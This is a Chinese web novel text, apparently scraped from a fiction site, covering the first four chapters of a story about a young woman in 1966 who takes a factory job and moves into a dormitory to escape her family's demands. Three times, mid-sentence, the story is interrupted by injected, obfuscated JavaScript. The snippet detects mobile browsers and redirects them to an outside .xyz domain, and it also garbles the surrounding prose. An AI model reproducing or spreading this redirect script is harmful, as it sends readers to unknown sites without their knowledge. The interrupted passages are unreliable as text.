《六零年代机修厂》 1. 001 1966年9月。 这是一封工作介绍信。 ‘兹介绍余凤敏、杜思苦等二位同志前往你单位联系工作,请予接洽。’ 机修厂招工处的李主任瞧完信,抬头瞧着两人。两个年轻的姑娘,一个编着长长的麻花辫子,穿着单薄的旧衣,胳膊肘跟肩上都打着补丁。裤子也像是短了一截,添了别的布条又给加长了。 就这打扮,成分差不了。 另一个剪了齐耳的短发,穿着绿色军装衣,戴着雷锋帽,精神得很。 “谁是杜思苦,谁是余凤敏?”机修厂李主任问。 穿着旧衣扎着麻花辩的姑娘站了出来:“主任,我是杜思苦。” “我是余凤敏。”短发头的姑娘笑说道。 她不自觉的就昂起了下巴,她爸是革委会的,这次来机修厂说是能安排行政的工作,不用进车间的。 想到这,她又从怀里掏出一封信,递了过去,“主任,您看看这个。” “这是……” 革委会的介绍信! 李主任的态度一下子就变了。 “你们两个,快坐快坐,”李主任笑着亲切得很,“我去给你们拿登记表过来,登了记,再去保卫科办两张进出证。” 李主任热络得很,还心疼的抓了两把茶叶,给杜思苦跟余凤敏泡了茶。 茶叶可是好东西。 “谢谢主任。” 本来,事情到了这,都挺顺利的。可惜,登记处的办事员出门了,房间上了锁,一时半会回不来,估计得明天才能办理了。 李主任只能带杜思苦两人先去保卫科办了进出证。 李主任领着两人往保卫科走去,“这登记表都在总务办,饭票粮票都归他们管,这样,明天你们早上过来,把这些都办了,再看安排哪个岗位。” 他主要是对着余凤敏说的,刚才他跟余凤敏聊的时候打听过了,余凤敏她爸是革委会的一个主任,权利还不小呢。 杜思苦跟在两人后面走,听着李主任说,也不插嘴。 - 铁路家属小区。 杜家今天热闹得很。 一早,出嫁多年的小姑就带着大包小包的行李回来了,四十岁的人了,扑在老娘怀里,哭得快要断气了。 杜母烧茶的空档,侧着耳朵听了一会。 听明白了。 原本是高中老师的妹夫受了牵连,打成了黑五类,估摸着要去哪个偏僻的乡下地方吃苦改造去了。 杜母稍微一想就知道,这从小娇惯着长大的小姑子是不可能跟过去受苦的。 也是。 四十多的人了,还成天打扮,跟个小姑娘似的,要不是日子过得太好,哪能养成这样的性子? 杜母在杜家当媳妇受的气,一半都是这小姑子闹的。 “好了,好了,我家阿敏受委屈了,这日子不好过,咱们不跟那姓郭的过了,回头我让你哥帮你把这事办了。”杜奶奶心疼小闺女。 现在是新社会了,过不下去还可以离婚。 又不会旧社会,唾沫星子能把人淹死。 杜母忍不住多了一句嘴:“妈,这妹夫这些年对咱们家一直挺好的,咱们不管他了?” 妹夫小郭跟小姑子是自己看对眼的,这么些年了,两口子感情一直挺好的,当初她家几个孩子上学,妹夫帮了不少忙,这些年学费都比别人少。 挺好的一个人,就不管了? 公公是铁路局的退休老员工,当年抗战的时候没少给部队运过物资,得过功勋的,也认得些说得上话的人。若是使使劲,这妹夫兴许…… 小姑子一听这话,哭得更凶了,指着自己额角一个青印子,“瞧这印子,就是那些胳膊上带红巾的人推的,他们凶得很,我要是不回来,也得被他们绑上带走了!”说到这,她心里还是一阵后怕,躲在杜奶奶身边,哭声都小了些。 杜奶奶看了一眼杜母,眼神严厉。 杜母闭嘴了。 只见杜奶奶从口袋里摸出两块钱,递给杜母:“你去供销社买些白面回来,肉也要打上一斤。” 杜母不伸手。 这叫什么话?就单给钱,没肉票没粮票,还能买上肉? 真新鲜。 “妈,家里的肉票早就用完了,我可没那能耐给您变出一斤肉来。”这发工钱发口粮的日子还没到呢。 “隔壁沈家那大儿子不是粮食局的吗,你跟小刘(沈母,沈洋他妈)的关系好,你先去借一斤肉票回来,等咱们家下个月肉票下来,还给她。”杜奶奶硬是把两块钱塞到杜母手上,“再买些阿敏喜欢吃的菜回来。” 肉八毛钱一斤,白面一毛六一斤,剩下足足一块多钱,够买不少菜了! 杜母撇了撇嘴,出了门。 - 杜思苦余凤敏从机修厂出来,往附近的公交车站走去,机修厂占地大,位置有些偏,在市郊这边。 有一班六路车通往这边,一天好几趟。 公交站牌上头写了发班表,半个小时后有一趟从机修厂出发。 “思苦,你刚才听李主任说了吗?咱们进厂之后还要锻炼一阵,也不知道安排到哪里。”余凤敏都有些期待了。 杜思苦道:“锻炼人的工作一般都辛苦些。” 考验意志。 两人边走边说,眼看着快走到公交车站,只听轰隆隆的声音传来。 两人一看,只见一排拖拉机从大路上开了过来,柴油机,声音特别响,还有冒着黑烟的。一共四辆拖拉机,从她们身边开了过去。 柴油味有些浓,杜思苦掩住了鼻。 她晕机油味。 拖拉机是信机修厂的方向去的。 余凤敏惊奇道:“咱们机修厂还有拖拉机呢!”四台拖拉机都进了厂里,她亲眼看到的。 杜思苦道:“可能是过来检修的。” 机修厂嘛,肯定是修东西的。 拖拉机过来检修也正常。 两人等了二十多分钟,六路车终于来了,车票四分钱一张。 要是买了月票,一个月通坐,更便宜些。 这边是起点站,有座位,杜思苦跟余凤敏占了后面的座。 余凤敏有些饿了,想到早上出门时她妈塞给她一把果糖,足足有三颗呢。她伸手去摸,正想吃一个,摸到口低里头有一个厚厚的信封,她突然想起来,口袋里还有给一封信呢,是寄到铁路大院的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830563|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜思苦家就住铁路家属大院。 “思苦,这信是你们那一片的吧。”余凤敏把信拿了出来,指着上面的地址,“上头只写了铁路家属大院,没写门牌号,邮差送了好几回,也不知道是哪家的。” 余凤敏指着收信人的名字问:“你知道谁是那一片有叫黄彩月的吗?” 杜思苦当然知道:“我妈就叫黄彩月。” “真的?!那不巧了吗!”余凤敏一下子就乐了,“这是你家的信啊!”得亏她带来了,要不然这信还不知道要搁邮局放多久呢。 原来杜思苦她妈叫黄彩月啊。 信很厚,从外地寄过来的。 上面贴的是八分的邮票,寄信人于月莺,地址是松县五沟大队。 收信人是黄彩月。 “这于月莺是你家什么亲戚?”余凤敏挺好奇的,这寄信人不姓杜,也不姓黄,姓于。 是亲戚吗? 杜思苦收好信:“不知道,到时候让我妈看看吧。” 她穿书过来还不到两天,家里乱七八糟的亲戚关系都还没理清呢。 脑子里的记忆跟画面多得有些过分。 一时半会弄不明白。 比如说,她照过镜子,就是一个十八岁的年轻小姑娘嘛, 结果呢,这脑子很多多余的记忆。 有‘她’结婚的、生孩子的、大冬天月子里给婆家人洗衣做饭的、中年老公把钱拿走孩子没钱交学费的…… 还后还有老了在医院要做手术,老公把存款给了几十年没见的白月光前妻要跟她离婚的…… 杜思苦都不愿意想这些狗屁回忆,虽然没经历过,但是看了会有代入感,很生气。 不提这些了。 余凤敏比杜思苦提前一站下的车,两人约好,明天早上一块去修机厂,那入厂的流程给办了。 杜思苦在三七站下的车。 下车之后,好没有去铁路家属大院,而是去了反方向的卫生所,里头有个要退休的老医生,姓袁。 “袁老,您这边还有绷带吗?” “你头还疼啊?” “是啊,这后脑勺这边,一抽一抽的?” 杜思苦绑着绷带往家走,一路上遇到了不少邻居。 “你头怎么了?” “从上铺摔下来了,这几天都疼得厉害,去医院上了点药。” “那该吃肉补补,中午我闻到你家里有红烧肉的香味,估计是你家里人疼你,给你煮的!”说这话的叫张婆子,她带着小孙子跟在杜思苦身边,往杜家走。 她家小孙子馋肉,这去了杜家,那小黄端肉上桌不得给孩子一口尝尝? 很快,就到杜家。 杜奶奶在屋里,早就盼着杜思苦回来了,等了快一下午了,“老四(杜思苦排行老四),怎么才回来,家里一角盆的衣服都还没洗呢,你去哪疯玩了?你姑姑来了,她屋子的床单被套都该换换了,你去帮帮她!” 张婆子哎呀一声:“我说你家怎么还煮上肉了,原来是小闺女回来了,乖乖,这大孙女都伤成这样了,都不说买半斤肉给补补,还让她洗一盆子的衣服,你这老太太,也太偏心眼了吧。”这亲闺女就拿来疼,这大孙女就当丫头使唤? 2. 002 杜奶奶脸上有些挂不住,瞧了杜思苦一眼,小脸确实寡白寡白的,有些病气。于是道:“行了,病了就回屋好好歇着。” 她倒不是不心疼孙女,就是以前这些活都是杜思苦做惯了,以前也没见喊苦喊累,谁知道这皮实的丫头这次竟然娇气了。 杜思苦按着额头的绷带,“医生说明早还要去一趟。” 明天她要去机修厂办入职。 她是打算等事情事情尘埃落定了再跟家里说,到时候正好搬到厂里去住。 杜奶奶道:“要是药费不够,去你妈那拿钱。” 要是往常,老四这丫头肯定要说一句,‘钱够用’,不让大人操心。 “奶,您能给我一点先用着吗,等我从我妈那要到钱,我再还给您。”杜思苦早上出门的时候就试过找杜母要钱,没要着。 这会看邻居张婆子在,就想着看能不能从奶奶手里掏一点出来。 要是搬到厂里的宿舍,好多东西都要买呢。 杜奶奶不高兴了:“我可没有!”年纪轻轻的,怎么还惦记上她的钱了!好手好脚,怎么不知道去外头找个事做,这年头正式工的工作不好找,临时工还是有不少的,就是工钱少些,活多一些。 没有就算了。 杜思苦去厨房找她妈了,这会她妈应该在厨房做晚饭呢。 “妈,有你的信。” “我的信?”杜母不敢相信,只见她往锅里加了水,盖上锅盖,用围裙擦了擦手,这才接过信。 一看是松县五沟大队的寄来的,赶紧拆了。 她亲妹子嫁到那苦地方去了。 好好的城市户口,非要为个男人要死要活的,嫁到山沟里。当然,那地方是个村子,虽然算不上山沟沟,也也没好多少。 杜母读过小学,认得字。 杜思苦并不好奇信上的内容。 据她那多出来的记忆来看,于月莺后来是住到杜家来了,杜家帮着办了暂住证,还把杜思苦那仅有一米宽的上铺让给于月莺睡了。 至于‘杜思苦’本人,到隔壁沈家‘借住’去了。不能白住,帮着洗衣做饭,擦桌扫地什么的。 杜母看着信,时喜时忧。 “老四,你等会去隔壁刘阿姨(沈洋他妈)家借半斤肉票,跟她说等下个月你爸肉票下来就还她……” 咦,人呢? 什么味? 锅糊了! 杜母赶紧把信往口袋一塞,往锅里加水。 杜思苦这会已经回屋了。 她住西屋。 七八月的时候太阳怼着晒,到了晚上屋里还跟火炉似的,一个夏天长一身的痱子,还好现在是九月了,天气转凉了。 窗户一开,屋外头还有风吹进来,挺舒服的。 杜思苦爬到上铺,闭着眼睛躺着。 病人嘛,得休息。 她手上还剩三毛钱,买不了什么东西。要是住到厂里宿舍,得置办不少东西,洗衣粉肥皂总得用一样吧,牙刷可以把家里的带过去,牙膏得自己想办法。脸盆得要吧,暖水瓶现在可以勉强应付,到了冬天总得用吧。 衣服鞋子就不说了,她身上的衣服都是小姑子穿过不要的,破了,给补上让她穿的。 按理说,爷爷奶奶有退休工资拿,父亲是铁路工人,铁路单位福利待遇都是不错的,家里也不至于穷到孩子的新衣服都买不起。 记忆里,杜思苦有好些年没有穿过新衣服了。 - 屋外头。 张婆子带着孙子在杜家厨房转了一圈,怎么一点肉香都没有? “小黄,你家中午烧的肉吃完了?” 说着往锅里看。 杜母(黄彩月):“没了,早吃完了。”一斤肉才多少?小姑子也不知道客气,中午就吃了八块,没剩多少了,晚上一大家子人都要吃呢。 杜母不是那小气的人,可是这肉啊白面啊,是真舍不得给外人吃。 张婆子不走,等着杜母揭锅盖。 等看清锅里头只是一大锅有些糊味的茄子后,带着小孙子走了。 心里想着:小黄这做饭的手艺不行啊,这煮茄子都能烧糊,还是杜家老四(杜思苦)手艺好,饭菜烧得那叫一个香! 就是长得瘦了些,脸也不够圆,长手长脚,是个做事的命。 杜奶奶见张婆子走了,这才从屋里出来,把外头院子的门给关了,正要栓,隔壁沈家刘芸手里提着油纸过来了。 油纸里头包着桃酥。 “我刚才回来听说你家思苦伤了头,现在怎么样了?严重吗?”她边问边往屋里瞧,“邱婶,我去瞧瞧她。” 杜奶奶姓邱。 刘芸指着手里的油纸:“这是我家沈洋单位发的桃酥,又香又酥,甜得很。我拿去给思苦尝尝,这孩子性子闷,要不是疼狠了也不会让大伙知道,婶,叫我说,你家不会疼孩子不如让给我,我帮黄姐好好疼这孩子。” 她笑着往屋里走。 杜奶奶眼皮一跳。 这话啥意思? 沈洋去年年底摆的喜酒,这还不到一年呢,两口子散没散都不好说,这小刘话里有话啊。 - 杜思苦被杜母给叫出来了。 她还以为饭好了。 没想到是隔壁沈家来人了,沈洋他妈过来了。 这会杜思苦正坐在堂屋的椅子上,正给隔壁刘阿姨当猴看呢。 刘芸拉着杜思苦的手,关心的问:“瞧你这孩子瘦的,受苦了吧。”这手够糙的,是个干活的好料子! 她心里欢喜,面上不显,又问,“医生怎么说?” “医生说要多休息,不能干重活,情绪不能有大波动,开心的事,伤心的事都不能想,最近也不要办。”杜思苦说得很仔细。 开心的事,比如‘结婚’啊之类的。 刘芸有些可惜,那亲事得过一阵再办了。 不过,可以先跟黄姐提一提。 两家知根知底的,老邻居老同事了,以后思苦嫁到她家,她肯定不会让孩子吃亏。 至于之前的那个儿媳妇,刘芸恨不得一口唾沫吐过去。 没脸没皮的东西,她儿子不嫌那姓何的成分不好,娶回了家,又是安排工作,又是给老丈人鞍前马后的侍候着。现在倒好,这小贱人工作稳了,转头就跟别人好上了,把她儿子给踹了。 她儿子像是鬼迷了心窍,还说那姓何的有苦衷。 儿子求了几回,前几天回来,还把这事怪到她头上了,说她没当好婆婆,脾气大,对儿媳妇不好,把儿子的家给搅散了。 呸! 刘芸当时心都凉了,只觉得养了头白眼狼。 后来过了几天,她想通了,都是儿媳妇没娶好。这不,刘芸开始寻摸新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830564|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿媳妇的人选了。得赶紧把这事定了,省得前头那个不省心又回来。 活也不干,说两句还摆脸色,搅家精,她老沈家娶儿媳妇可不是娶回来供着的。 有了前头那个儿媳妇的对比,刘芸是越看杜思苦越喜欢。 这丫头能吃苦,洗衣做饭样样都好,模样也周正,跟她家沈洋是从小的情分,于情于理,等这事生米煮成熟饭了,她家沈洋不接受也得接受。 杜家老三回来了,看到刘芸,便道:“刘阿姨,沈叔在外头喊你呢。” 杜母生了五个孩子,前头三个是儿子,最后两个小的是女儿。 “瞧我,这聊得忘了时间,该回去吃饭了。”刘芸把桃酥油纸放到杜苦思手里,“给你的,想吃就吃。” 她往厨房忘了忘,黄姐(杜母)还在忙活,孩子们的事,等明天再说。 杜家老三看到了杜思苦额头上的绷带:“你去屋里歇着,等会饭好了我给你送到屋里去。” 杜思苦数着人,杜爸没回来,老五没回来,还有爷爷,也不知道今天晚上回不回来,粗粗一算,这人没齐,一时半会开不了饭。 她决定听三哥的话,回屋歇着。 “三哥,张奶奶说咱妈中午买了肉。”杜思苦小声说。 “等会我给你夹两块。”杜家老三声音更小。 就是这个意思。 杜思苦回屋继续歇着了。 杜家五个孩子感情不错,老大结婚了,早就没住家里了。老二前两天下乡了,这两年都没有回来过。 老三、老四、老五在家,原本都在读书,五月的时候学校出了事,书读不成了。 都回了家。 九月的时候,铁路学校这边开学了。 老五回去上课了。 老三跟老四在等家里安排,都是铁路的子弟,两个孩子总能安排一个当工人,一直在等消息。 - 等到七点,杜父还没回来。 杜奶奶想着一大家子人都饿了,让杜母盛了一碗饭出来,添了些菜,放到锅里热着。 他们先吃了。 杜家老三言而有信,给杜思苦盛了饭,端到屋里,饭底下夹了两块肉,结结实实的五花肉!杜母给他的,他都给老四了。 “谢谢三哥。” 杜思苦装病,那肯定要装得像些。 碗是老五帮着送出去的。 “姐,妈刚才跟三哥说明天早上要去火车站接个亲戚,还让咱们把屋子收一收,再搭张床板,这是什么意思?”老五问,她回来得最晚,事情都还不清楚呢。 这一回来,小姑在家了,奶奶说以后小姑要长住。 她妈又说明天家里还要来亲戚,让她跟姐姐挤一挤,这么小的屋子,还怎么挤? “小姨家要过来。” 杜思苦脑中一道记忆突然闪过,难怪她跟沈洋后来突然在一起了。 事情得从杜家来了亲戚说起,小姑回了,亲戚来了,房子不够住,让‘杜思苦’去沈家跟沈家借住。 这住着住着风言风语就起来了。 不知道哪来的谣言,说‘杜思苦’暗恋沈洋,说两人情投意合。 后来再加上两家大人一摄合,这事就这么不明不白的成了。 原来根在这啊。 杜思苦决定:明天必须搬走。 从源头上把这事掐断。 3. 003 半夜,杜父下工回来。 杜母把热在炉子里的饭端了出来,点了煤油灯,就着灯火吃饭。 铁路局家属大院这边限电,到了八点就停电了。 国家供电紧张。 油灯冒着黑烟,一闪一闪的。 杜父大口扒着饭,边吃边问:“局里不是发了蜡烛吗?”怎么不用? “过年用,这蜡烛不经用。”杜母坐到杜父身边,怕吵醒屋里其他人,小声说:“我妹子明天早上的火车,我想着早上过去接她们。老杜,我这娘家妹子以前没来过咱家,这次过来,咱们可不能亏待人,明天我去割点肉买点鱼,总不能来了客人只吃青菜。” “这事你安排。”杜父不管这些,他的工钱跟粮票肉票那些个福利东西都是直接给媳妇的,要用钱的地方,知会他一声就行。 “咱们家肉票是用完了,今天得敏回来,我还去隔壁老沈家借了一斤的肉票呢,除了你碗里的这几块肉,剩下的她都给吃了。”杜母心里是有想法的,但是杜有胜(杜父)是家里老大,一向护着下头的弟弟妹妹,年轻时为这事吵过好多回。 现在杜母学聪明了,只说事,不论别的。 “得敏怎么回来了?” 杜母把妹夫小郭的事说了,小姑子的事,她不好多说。 临末,又说起一件事:“老四下午回来,头上绑着绷带,说头疼。还说明天医生让去一趟,今天早上我跟我要钱,我还以为她是装病呢。”当时老四同学来找她,以为老四被同学哄了,找家里拿钱给外人用。 就没给。 杜父眉间褶皱很深:“明天你带孩子去医院看看。” 杜母:“明天我要去火车站接我妹子。”去不了。 “老三呢?让他去带老四去医院。” “老三明天跟我去火车站,我妹子带了闺女过来,你说这人好不容易来了,肯定要住一阵的,老三得过去帮我们拿东西。”杜母道,“让老四自己去就行了,她又不傻,还读了高中,不比我们强。” 给点钱就行了。 两口子又聊了些家里的事。 - 南屋。 杜爷爷不在家,杜得敏晚上是跟杜奶奶一起睡的。 “妈,大哥回了。” 鼾声传来。 杜得敏叹了口气,她还想让妈跟大哥说一声,让大哥请个假,把她家文秀从郭家接回来。 看来得明天说了。 - 次日。 杜思苦六点被杜母喊醒的。 “怎么又睡上铺去了?你是摔不怕!”杜母叨咕着,把杜思苦拍醒,拿了一块钱,塞到她枕头下面,“你爸给的,要是医生开药,你就拿回来。记着,今天去把纸笔带去,医生说什么好好记下来。” “好的,妈。”杜思苦看到钱一下子就醒了,把枕头下的钱拽到手里。 “我去火车站接你小姨,你等会起来把早饭做了,桌子擦一擦,还有我屋里的被褥,等会拿出来晒一晒……”杜母习惯性的给杜思苦安排活。 杜苦思直接打断杜母的话:“我等会要去医院。”看在这一块钱的份上,她继续说道,“昨天找来我的那个女同学,说能搞到工作介绍信,我等会找她看看能不能解决工作的事。妈,我再给我五毛钱,我中午在外头吃。” 介绍信,工作? 好事啊。 至于钱,那是一分没有。 杜母拍开杜思苦的手巴掌:“不是给你一块钱了吗,省着点用,够你吃了。” 杜母走了。 杜思苦醒了就睡不着了,也起来了。 杜奶奶那屋也传来动静。 杜思苦手脚麻利的将自己的衣服收拾了几件,牙刷毛巾的都包起来了,还把自己睡的这床被褥给卷了。 “姐,你干嘛去?”老五迷迷糊糊问。 “晒被子。” 老五学校近,她读的是铁路中学,走路不到十分钟,七点半起来都来得及。 杜思苦找了绳子,轻手轻脚的将被褥捆好,把房打开瞧了一圈,见奶奶那屋的门还没开,太好了。 她将卷好的被褥往肩上一扛,提着自己的东西,走了! - 杜奶奶起来了。 去厨房转了一圈,冷锅冷炉,她估摸着杜母是去铁路局食堂打饭了。 等了半天,直到杜得敏起来喊饿,杜母还没回来。 这是去哪躲懒了? 杜奶奶去了西屋,想看看老四的头有没有好点,这大角盆里的衣服泡了一天了,今天再不洗怕是要烂了。 要是老四精神好,说不定可以去食堂打点早饭。 杜奶奶虽然看着精神,毕竟七十多了,老胳膊老腿的,去趟食堂再回来,挺费劲的。 “奶奶,早上好。”老四不在老五在,只见老五挎上军绿色帆布包,整了整帽子,戴上红袖章,精神的出了门。 杜得敏从屋外刷牙回来,看到老五胳膊上的红袖章,吓得差点晕过去。 杜奶奶黑着脸:“老五,你胳膊上戴的什么?” 老五骄傲的昂了昂下巴:“为人民服务!”说完就出门往食堂去了,学生食堂也在那边,她交了饭票的。 老五上学去了。 杜得敏脸惨白惨白的,靠在墙上这才没倒,委屈道:“妈,你看她。”她现在见不得胳膊上的红袖章。 杜奶奶:“老五还是个孩子,你别跟她计较。”在孙辈里,杜奶奶最偏心的就是老五杜忆甜了。 家里这些活一般都是让老四干,老五小,细皮嫩肉的,一干活手就起泡,压根就不是干活的料。 再说了,家里最小的孩子,长辈们都会多疼一些。 - 杜思苦昨天跟余凤敏约好一起去机修厂,她今天起得早,要是在车站等得多等半个小时,她就直接去了余凤敏家里。 空手来的,不好进去。 杜思苦就在外头喊:“凤敏,你起床了吗?” 余凤敏刚醒,正赖床呢,听到杜思苦的声音一个鲤鱼打挺就起来了,“起了,我马上就来!”她飞快的穿好衣服,短头发随便用梳子梳了两下,戴上帽子,换好鞋。 “来了。” “你同学来了,怎么不叫人来屋里坐坐坐,吃饭没?”余母热心得问。 “妈,我们去单位食堂吃!”正好试试机修厂食堂的味道。 余凤敏风风火火的出门。 余凤敏看到杜思苦肩上背的手里提的,吓了一跳,“你怎么带这么多东西?” 杜思苦:“家里来了亲戚,住不下,我晚上到厂里宿舍住。” 省得挤。 余凤敏犹豫着要不要回去把被褥什么的都带上。 就这么一会,余母已经把东西给送出来了,被褥,衣服,鞋子,暖水瓶,搪瓷盆……收拾的妥妥当当。 “来,带上。” “机修厂离咱们家远,你先去试一试,要是不习惯,咱们再回家住。”余母笑眯眯的说。 余凤敏都嚷着把东西背上了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830565|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿姨,再见。”杜思苦很有礼貌的挥手。 “下次有空来玩啊。” “凤敏,你妈对你真好。” “才不是呢,她是妇联主任,忙得很,她巴不得我在外头住呢。”余凤敏嘀嘀咕咕的。 她妈什么都好,唯一不好就是责任感太强,天天去别人家处理家事,像是男的打媳妇,两口子不养老人啊……一堆鸡毛蒜皮的事。 两人边走边说,很快就到了公交车站,等了一会,公交车到了。 这会早,车上人不多,还有座,两人赶紧占了座。 市里的路好走,到了郊区,厂子路就不太好走了,车子一颠一颠的。 坐在后头屁股真是受罪。 总算是到机修厂了。 余凤敏叫上杜思苦赶紧下了车。 这每天挤车上工简直就是受罪,还是住厂里好。 机修厂保卫科的人负责,看了杜思苦两人的进出证才让两人进去。 昨天登记处那边程序还没走完,宿舍没安排。 今天杜思苦决定去先登记处。 余凤敏:“要不等李主任来了再一起去?”有厂里老人在,好办事。 “我们先去看看,要是登记处那边有人在,我们早点办完领了粮票也好去食堂吃饭,你说是不是?”杜思苦做事就是这样的,做自己试试,不行再找人。 余凤敏耳根子软,听杜思苦的。 登记处门是开着的,里面有人,是个圆脸的小伙子,穿着工作服,正在整理东西。不远的桌上放着一个铝饭盒,上面有两个热气腾腾的黑面馒头。 杜思苦敲了敲门:“同志,你好,我们是新入厂的职工,过来办登记的。” 圆脸小伙转头看了过来:“介信绍有不?” “介绍信昨天交给李主任了,这是保卫科给我们的进出证,您看看。”杜思苦把身上的被褥跟东西放下,把进出证递也过去。 圆脸小伙看了一下两人的进出证,是真的。 他抽出两张表:“把这个填了。” 又说,“我姓江。” “江大哥,真是太麻烦你了,”杜思苦很快就填好了,出生年月,学历,家里成分,她填好把表递给江同志,“江大哥,你知道女工宿舍怎么走吗?” 江同志道:“女工宿舍也要申请的。”又抽出两张表。 申请批复是需要时间的。 杜思苦一脸为难:“您看我们两个东西都带来了,这大老远的,我们两个小姑娘带着这些东西过来也不容易。” 江同志道:“先填表,等会我带你去过去看看,要是有空床位,你们就先住。” 杜思苦心里的大石落地了。 这位江同志还挺好说话的,也不知道机修厂的其他同事好不好相处。 余凤敏看着桌子上冒着热气的黑面馒头,肚子不争气的叫了起来。 江同志愣了一下。 只见他拿着一个黑面馒头递了过去:“没吃早饭吧。” “不用不用,”余凤敏后退,“等会我们领了粮票自己去食堂买!” 江同志把黑面馒头塞到余凤敏的手上,“粮票没那么快下来,你们先吃,等会我再去趟食堂。”他想了想,“等你们粮票下来,买了再还我。” 另一个黑面馒头他塞给杜思苦了。 “江大哥,你人真好!” “为人民服务嘛。”江同志笑了。 真好。 杜思苦对接下来的工厂生活有些期待了。 4. 004 女工宿舍。 这边的宿舍是个二层的红砖小楼,这边是新建的女工宿舍。一楼都是四人间跟六人间,二楼是二人间跟极少数的单人间。 这边有个不成文的规定,一般是女干部或者厂子弟才会分到二楼。 像新进厂的女工,一般都是在楼下的六人间。 小江同志将杜思苦两人领了过去,交给了宿舍管理处的张阿姨。这个地方就在红砖小楼的进门处,宿管阿姨负责员工宿舍分配。 意思是,住二人间还是四人间,就看这位张阿姨的。 小江道:“张阿姨,这是我们厂新来的女同志,您帮忙安排一下住宿。” 宿管张阿姨五十来岁,人瘦瘦的,颧骨有些高,看着不太和气。 她打量了一下杜思苦跟余凤敏:“多大了?” “十八。” “十九。” 很年轻。 宿管张阿姨心里有了安排,只见她转身去后面办公桌,拿出手腕上的钥匙,打开上锁的抽屉,从里面拿出两把钥匙。 “你们的宿舍在二楼,206,是个四人间,里面已经住了一个女同志。”张阿姨告诉两人:“来了厂里就是一家人,不要闹矛盾,有什么问题跟我反应。” “好的,张阿姨。” “谢谢张阿姨。” 小江看到宿管阿姨把杜思苦两人的住宿问题解决了,正要走,被宿管张阿姨叫住了,“小江,你去趟保卫科,喊吴队长过来一下,我有事找他。” “我这就去。” - 杜思苦背着被褥,提着东西上了楼。东边,201,右边202,宿舍是个长条型的,门上都贴了号,很快,杜思苦就找到了206号宿舍。 门是关着的。 “思苦,是这间。”余凤敏把被褥放下来了,她拿出钥匙就想把门打开。 “有人住着。”杜思苦按住余凤敏的手。 直接用钥匙开门不好。 杜思苦敲了敲门。 没人应。 “有人在吗?” 还是没人应。 对面205的门开了,一个乱糟糟的鸡窝头从门后伸出来:“你们小点声,还让不让人睡了!”她上的夜班,早上五点才回来! 余凤敏眼睛一瞪,“说什么呢,怎么就吵着你了,你瞧瞧外头的太阳,都快晒屁股了,还在被窝里睡,也不知道羞!” 还敢嫌人吵! 鸡窝头不高兴,声音是吼出来的:“我上的夜班,刚睡着就被你们吵醒了!你们不会小点声!” 杜思苦看着206室。 闹出这么大的动静里头都没反应,应该是没人在。 杜思苦拿出钥匙插进锁眼里,一拧,门开了。 余凤敏叉着腰,不像要输的样子。 杜思苦就没掺和,她一点一点的把两人的行李都搬到了206室,宿舍进门就能看到窗户,靠窗左边的那张床上面铺着格子被单,上面放着东西,这张床是有人的。 剩下的三张床都是空着的。 二楼的四张床并不是上下铺,还是平放的一米的单人床。 进门之后的右手边有个柜子,里面是放东西的。门后面钉了两个钉子,有一个毛巾挂在那。 屋里有个桌子,上面放着搪瓷杯跟牙刷,还摆了几本书。 屋里收拾得挺干净的。 杜思苦没选床,她打算让余凤敏先选。回头一看,余凤敏还在跟鸡窝头吵呢,两个人吵架跟小学生似的,翻来覆去就是那几句话。 “凤敏,你睡哪个床?” 杜思苦提高声音问。 余凤敏:“等我一会。”还没吵完呢。 杜思苦:“等会还要去李主任那呢,咱们把东西放好赶紧过去,今天是头一天,别耽误了。” 余凤敏一听,这话有道理,头一天上班,可不能给人留下坏印像。 她对鸡窝头道:“这事先停,等晚上下班我再跟你说。” 也不管鸡窝头同不同意,扭头就往206走去,还一甩门,把门给关上了。 鸡窝头火冒三丈,之前磕睡早就没影了,这会恨不得跟余凤敏打一架。 “武梅,行了。”和事佬出来了,“吵这么久也够了吧,你总不能觉得你在睡觉大家都不发出一点动静吧。你上夜班,大家伙还上早班呢,这进进出出肯定有动静。” “合着是我不对了?”鸡窝头的怒火转向和事佬了。 - 屋里,余凤敏转了一圈,选了窗边靠右的床铺,她把东西放了上去。 杜思苦则是选了进门右手边的床。 她把绳子一解,被褥往床上一铺,就好了,都不用套被套。鞋子放在床底下,毛巾挂到门后面了,她没有盆子,也没有暖水瓶。 暖水瓶等下个月发了工资再买,盆子必须弄一个,不知道机修厂这边能不能提前预支工资。 “走了走了。”余凤敏催促道,“咱们晚上回来再收拾。” “来了。” 杜思苦瞧着窗户外头起了风,吹得窗户啪啪响,她走到窗户 